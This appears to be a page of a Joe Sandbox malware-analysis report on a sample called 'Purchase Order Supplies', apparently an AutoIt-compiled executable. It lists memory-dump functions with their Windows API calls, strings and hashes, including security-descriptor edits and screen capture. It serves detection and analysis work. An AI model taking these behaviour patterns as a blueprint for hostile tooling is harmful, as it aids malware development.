Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _wcscat$_wcscpy$__wsplitpath$_wcschr_wcscmp
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 2955681530-2806939583
Opcode ID: bb21bf9e591122dde62bc036236b26df399dbdb1bfd4c74f105d5d91262fed34
Instruction ID: eacaf3aaaa03afa1210d26b2321d5ea22d6698c510b52d49b0265f125d4a767f
Opcode Fuzzy Hash: bb21bf9e591122dde62bc036236b26df399dbdb1bfd4c74f105d5d91262fed34
Instruction Fuzzy Hash: 5491F471504341AFCB20EF50C855F9FB3E8AF84310F04485DF9999B2A1EB74EA88DB92

Function 00CFCC68 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CFCD0B
DestroyWindow.USER32(00000000,?), ref: 00CFCD83

Part of subcall function 00C97E53: _memmove.LIBCMT ref: 00C97EB9

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00CFCE04
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00CFCE26
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00CFCE35
DestroyWindow.USER32(?), ref: 00CFCE52
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00C90000,00000000), ref: 00CFCE85
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00CFCEA4
GetDesktopWindow.USER32 ref: 00CFCEB9
GetWindowRect.USER32(00000000), ref: 00CFCEC0
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00CFCED2
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00CFCEEA

Part of subcall function 00CAB155: GetWindowLongW.USER32(?,000000EB), ref: 00CAB166

Strings

0, xrefs: 00CFCD2B
tooltips_class32, xrefs: 00CFCDFD, 00CFCE7E

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: 2e2f60d081aee8ebb37f85e31506debd9de03623b842ada67141040389d6a36a
Instruction ID: 16039563c60ab0ddd7da24f9aea7b54c37793d5391cffa6628b130c12357a126
Opcode Fuzzy Hash: 2e2f60d081aee8ebb37f85e31506debd9de03623b842ada67141040389d6a36a
Instruction Fuzzy Hash: 19719C7524030DAFDB25CF28CC85FBA3BE5AB89704F440518FA95973A1DB70E902CB22

Function 00CDB428 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 350timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00CDB46D
VariantCopy.OLEAUT32(?,?), ref: 00CDB476
VariantClear.OLEAUT32(?), ref: 00CDB482
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00CDB561
__swprintf.LIBCMT ref: 00CDB591
VarR8FromDec.OLEAUT32(?,?), ref: 00CDB5BD
VariantInit.OLEAUT32(?), ref: 00CDB63F
SysFreeString.OLEAUT32(00000016), ref: 00CDB6D1
VariantClear.OLEAUT32(?), ref: 00CDB727
VariantClear.OLEAUT32(?), ref: 00CDB736
VariantInit.OLEAUT32(00000000), ref: 00CDB772

Strings

Default, xrefs: 00CDB615
%4d%02d%02d%02d%02d%02d, xrefs: 00CDB58B

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: d18270a53755dde40483182cc77ed8393b6c075c2e341f7273ce1e78811766f1
Instruction ID: ee2e4316048477228e9cfe623e1b568d5b80fcb203e0dddc76b46685a3fd3d97
Opcode Fuzzy Hash: d18270a53755dde40483182cc77ed8393b6c075c2e341f7273ce1e78811766f1
Instruction Fuzzy Hash: 76C10231A00215EBCF14DF66D494B6AB7B4FF05300F26846BE6159B382DB30ED41EBA1

Function 00CF6F67 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 244windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00CF6FF9
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00CF7044

Strings

ISCHECKED, xrefs: 00CF71AF
GETSELECTED, xrefs: 00CF713C
SELECT, xrefs: 00CF71DD
EXPAND, xrefs: 00CF70DE
UNCHECK, xrefs: 00CF7208
GETTEXT, xrefs: 00CF717F
COLLAPSE, xrefs: 00CF708A
EXISTS, xrefs: 00CF70AD
CHECK, xrefs: 00CF7064
GETTOTALCOUNT, xrefs: 00CF7027
GETITEMCOUNT, xrefs: 00CF710E

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: f4cd3247ceaf636e6ccf492b8d357320f96d8f4608e0bac1a52a8bb9049ef80a
Instruction ID: 07f758ef92a0f56e2ded87f95e0b8b59a2d17591cbbe3302db23e8b95aab665a
Opcode Fuzzy Hash: f4cd3247ceaf636e6ccf492b8d357320f96d8f4608e0bac1a52a8bb9049ef80a
Instruction Fuzzy Hash: C091B4342047069FCB04EF14C851B6DB7A2AF85354F04896DF9966B392CF35ED4ADB82

Function 00CFE305 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 199windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00CFE3BB
LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,00CF9615,?), ref: 00CFE417
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00CFE457
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00CFE49C
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00CFE4D3
FreeLibrary.KERNEL32(?,00000004,?,?,?,00CF9615,?), ref: 00CFE4DF
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00CFE4EF
DestroyCursor.USER32(?), ref: 00CFE4FE
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00CFE51B
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00CFE527

Part of subcall function 00CB1BC7: __wcsicmp_l.LIBCMT ref: 00CB1C50

Strings

.dll, xrefs: 00CFE374
.icl, xrefs: 00CFE331
.exe, xrefs: 00CFE351

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Load$Image$LibraryMessageSend$CursorDestroyExtractFreeIcon__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 3907162815-1154884017
Opcode ID: 24b2fb9de531fce1b1d7ff3a59fbbc1fb076e0cfc307426cee7ca9e68777b6b5
Instruction ID: 5abf2b7c38bcf96d6b120c95f69c201003eb047bbe877ce2d2c1adc32a75f7d1
Opcode Fuzzy Hash: 24b2fb9de531fce1b1d7ff3a59fbbc1fb076e0cfc307426cee7ca9e68777b6b5
Instruction Fuzzy Hash: 1661B071540219BFEB14DF64CC46FFA7BA9BB08710F108115FA25E71E0DB749A85D7A0

Function 00CE0E41 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 184timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00CE0EFF
SystemTimeToFileTime.KERNEL32(?,?), ref: 00CE0F0F
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00CE0F1B
__wsplitpath.LIBCMT ref: 00CE0F79
_wcscat.LIBCMT ref: 00CE0F91
_wcscat.LIBCMT ref: 00CE0FA3
GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00CE0FB8
SetCurrentDirectoryW.KERNEL32(?), ref: 00CE0FCC
SetCurrentDirectoryW.KERNEL32(?), ref: 00CE0FFE
SetCurrentDirectoryW.KERNEL32(?), ref: 00CE101F
_wcscpy.LIBCMT ref: 00CE102B
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00CE106A

Strings

*.*, xrefs: 00CE1025

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: cafe104a61ef9b7cf2f494d5a8aeccbe41c0cbaa191be67f073a893b494e0ded
Instruction ID: 1c1c34c86cdc1398fc482d7f31f6342549957efb4d1553877d5c29fd6ca0b151
Opcode Fuzzy Hash: cafe104a61ef9b7cf2f494d5a8aeccbe41c0cbaa191be67f073a893b494e0ded
Instruction Fuzzy Hash: 8A618372504345AFC710DF65C84599EB3E8FF89310F04891EF999D7251EB31EA45CB92

Function 00CDDAAD Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00C984A6: __swprintf.LIBCMT ref: 00C984E5
Part of subcall function 00C984A6: __itow.LIBCMT ref: 00C98519

CharLowerBuffW.USER32(?,?), ref: 00CDDB26
GetDriveTypeW.KERNEL32 ref: 00CDDB73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00CDDBBB
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00CDDBF2
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00CDDC20

Part of subcall function 00C97E53: _memmove.LIBCMT ref: 00C97EB9

Strings

close, xrefs: 00CDDB2C
set cd door , xrefs: 00CDDBC1
close cd wait, xrefs: 00CDDC0B
open, xrefs: 00CDDB4D
type cdaudio alias cd wait, xrefs: 00CDDB9E
closed, xrefs: 00CDDB3A, 00CDDB43
wait, xrefs: 00CDDBDD
open , xrefs: 00CDDB82

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: da096711a2de3ebad648a36d0a577eb6535d6a2ed706df363323f3fe38b0dd5b
Instruction ID: a495500cf29aa33e2862172617fecaf8414b223d96d9f4174c459616d50b7e45
Opcode Fuzzy Hash: da096711a2de3ebad648a36d0a577eb6535d6a2ed706df363323f3fe38b0dd5b
Instruction Fuzzy Hash: 70517B71504305AFCB00EF14C89196AB7F8FF88758F00896DF896972A1DB31EE09DB92

Function 00CD3110 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 129windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00D04085,00000016,0000138B,?,00000000,?,?,00000000,?), ref: 00CD3145
LoadStringW.USER32(00000000,?,00D04085,00000016), ref: 00CD314E

Part of subcall function 00C9CAEE: _memmove.LIBCMT ref: 00C9CB2F

GetModuleHandleW.KERNEL32(00000000,00000000,?,00000FFF,?,?,00D04085,00000016,0000138B,?,00000000,?,?,00000000,?,00000040), ref: 00CD3170
LoadStringW.USER32(00000000,?,00D04085,00000016), ref: 00CD3173
__swprintf.LIBCMT ref: 00CD31B3
__swprintf.LIBCMT ref: 00CD31C5
_wprintf.LIBCMT ref: 00CD326C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00CD3283

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00CD3267
Error: , xrefs: 00CD323C
^ ERROR, xrefs: 00CD3216
Line %d (File "%s"):, xrefs: 00CD31BF
Line %d:, xrefs: 00CD31AD

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: f19f9dd2f5b58478e9cdd02d533646fb65f16fa7d639cac896ed3024c31721f4
Instruction ID: 030c52bedd2e86e8f05db0a6fd7442db5abfbdccf9a7d22536c946aa94feb152
Opcode Fuzzy Hash: f19f9dd2f5b58478e9cdd02d533646fb65f16fa7d639cac896ed3024c31721f4
Instruction Fuzzy Hash: 7A415171900259BBCF15FB90DD8AEEEB779AF14741F100065F601B21A2DF656F08EA71

Function 00CDD950 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 100fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00CDD96C
__swprintf.LIBCMT ref: 00CDD98E
CreateDirectoryW.KERNEL32(?,00000000), ref: 00CDD9CB
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00CDD9F0
_memset.LIBCMT ref: 00CDDA0F
_wcsncpy.LIBCMT ref: 00CDDA4B
DeviceIoControl.KERNEL32(00000000,000900A4,A0000003,?,00000000,00000000,?,00000000), ref: 00CDDA80
CloseHandle.KERNEL32(00000000), ref: 00CDDA8B
RemoveDirectoryW.KERNEL32(?), ref: 00CDDA94
CloseHandle.KERNEL32(00000000), ref: 00CDDA9E

Strings

\, xrefs: 00CDD9A4
:, xrefs: 00CDD9AF
\??\%s, xrefs: 00CDD988

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: 1af8acda287f985947b91557e88fd633fbb0d2b25f6f592ef308c21426d79413
Instruction ID: 3d562e30ce399114468bd22773bab0692366365bd5734c3c5a47fce76d905007
Opcode Fuzzy Hash: 1af8acda287f985947b91557e88fd633fbb0d2b25f6f592ef308c21426d79413
Instruction Fuzzy Hash: F931A871A00208BBDB20DFA4DC49FDA77BDBF84700F14C1A6F519D2160EB719B859BA1

Function 00CFE541 Relevance: 22.6, APIs: 15, Instructions: 129filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 00CFE564
GetFileSize.KERNEL32(00000000,00000000), ref: 00CFE57B
GlobalAlloc.KERNEL32(00000002,00000000), ref: 00CFE586
CloseHandle.KERNEL32(00000000), ref: 00CFE593
GlobalLock.KERNEL32(00000000), ref: 00CFE59C
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00CFE5AB
GlobalUnlock.KERNEL32(00000000), ref: 00CFE5B4
CloseHandle.KERNEL32(00000000), ref: 00CFE5BB
CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00CFE5CC
OleLoadPicture.OLEAUT32(?,00000000,00000000,00D1D9BC,?), ref: 00CFE5E5
GlobalFree.KERNEL32(00000000), ref: 00CFE5F5
GetObjectW.GDI32(?,00000018,000000FF), ref: 00CFE619
CopyImage.USER32(?,00000000,?,?,00002000), ref: 00CFE644
DeleteObject.GDI32(00000000), ref: 00CFE66C
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00CFE682

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: b1f21e89a59babc353d1ee4b2f0994570112dc40870293f696b046f010b6b74d
Instruction ID: e7235fd166c9d2d8370787953d4c768774d987237fffae89bc3796d318469a31
Opcode Fuzzy Hash: b1f21e89a59babc353d1ee4b2f0994570112dc40870293f696b046f010b6b74d
Instruction Fuzzy Hash: DD414A75600308BFDB119F65DC48EAA7BBAEF89715F108058F916D7260DB309E42DB20

Function 00CE0B20 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 00CE0C93
_wcscat.LIBCMT ref: 00CE0CAB
_wcscat.LIBCMT ref: 00CE0CBD
GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00CE0CD2
SetCurrentDirectoryW.KERNEL32(?), ref: 00CE0CE6
GetFileAttributesW.KERNEL32(?), ref: 00CE0CFE
SetFileAttributesW.KERNEL32(?,00000000), ref: 00CE0D18
SetCurrentDirectoryW.KERNEL32(?), ref: 00CE0D2A

Strings

*.*, xrefs: 00CE0D69

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: bc64d67e613f5bfce5b832004f9afde765bce277aa19c906e80378d8b0381b3f
Instruction ID: f072d9000ce06fa7bdee58a29a19b5cc89e6d4863157132c8e738d8741853acc
Opcode Fuzzy Hash: bc64d67e613f5bfce5b832004f9afde765bce277aa19c906e80378d8b0381b3f
Instruction Fuzzy Hash: F581B4715043859FC720DF66C8459AAB7E8BB88314F34892AF895C7251E774DEC4CB92

Function 00CCB593 Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCB8E7: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00CCB903
Part of subcall function 00CCB8E7: GetLastError.KERNEL32(?,00CCB3CB,?,?,?), ref: 00CCB90D
Part of subcall function 00CCB8E7: GetProcessHeap.KERNEL32(00000008,?,?,00CCB3CB,?,?,?), ref: 00CCB91C
Part of subcall function 00CCB8E7: RtlAllocateHeap.NTDLL(00000000,?,00CCB3CB), ref: 00CCB923
Part of subcall function 00CCB8E7: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00CCB93A

Part of subcall function 00CCB982: GetProcessHeap.KERNEL32(00000008,00CCB3E1,00000000,00000000,?,00CCB3E1,?), ref: 00CCB98E
Part of subcall function 00CCB982: RtlAllocateHeap.NTDLL(00000000,?,00CCB3E1), ref: 00CCB995
Part of subcall function 00CCB982: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00CCB3E1,?), ref: 00CCB9A6

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00CCB5F7
_memset.LIBCMT ref: 00CCB60C
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00CCB62B
GetLengthSid.ADVAPI32(?), ref: 00CCB63C
GetAce.ADVAPI32(?,00000000,?), ref: 00CCB679
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00CCB695
GetLengthSid.ADVAPI32(?), ref: 00CCB6B2
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00CCB6C1
RtlAllocateHeap.NTDLL(00000000), ref: 00CCB6C8
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00CCB6E9
CopySid.ADVAPI32(00000000), ref: 00CCB6F0
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00CCB721
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00CCB747
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00CCB75B

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: HeapSecurity$AllocateDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 2347767575-0
Opcode ID: ab57baf3a1729cd7a7aa6142eb67baa6ff74964d74d4ac37e6a27bdf0b14c65f
Instruction ID: 03b347074ae9e389ef69ac68aa1e97b86a52adad0d58d2eee872f937e4786ce1
Opcode Fuzzy Hash: ab57baf3a1729cd7a7aa6142eb67baa6ff74964d74d4ac37e6a27bdf0b14c65f
Instruction Fuzzy Hash: AC51297590020AABDF049FA4DD46EEEBB79BF48344F04815DF925E6290DB35DE06CB60

Function 00CEA268 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 159windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00CEA2DD
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00CEA2E9
CreateCompatibleDC.GDI32(?), ref: 00CEA2F5
SelectObject.GDI32(00000000,?), ref: 00CEA302
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00CEA356
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,?,00000000), ref: 00CEA392
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00CEA3B6
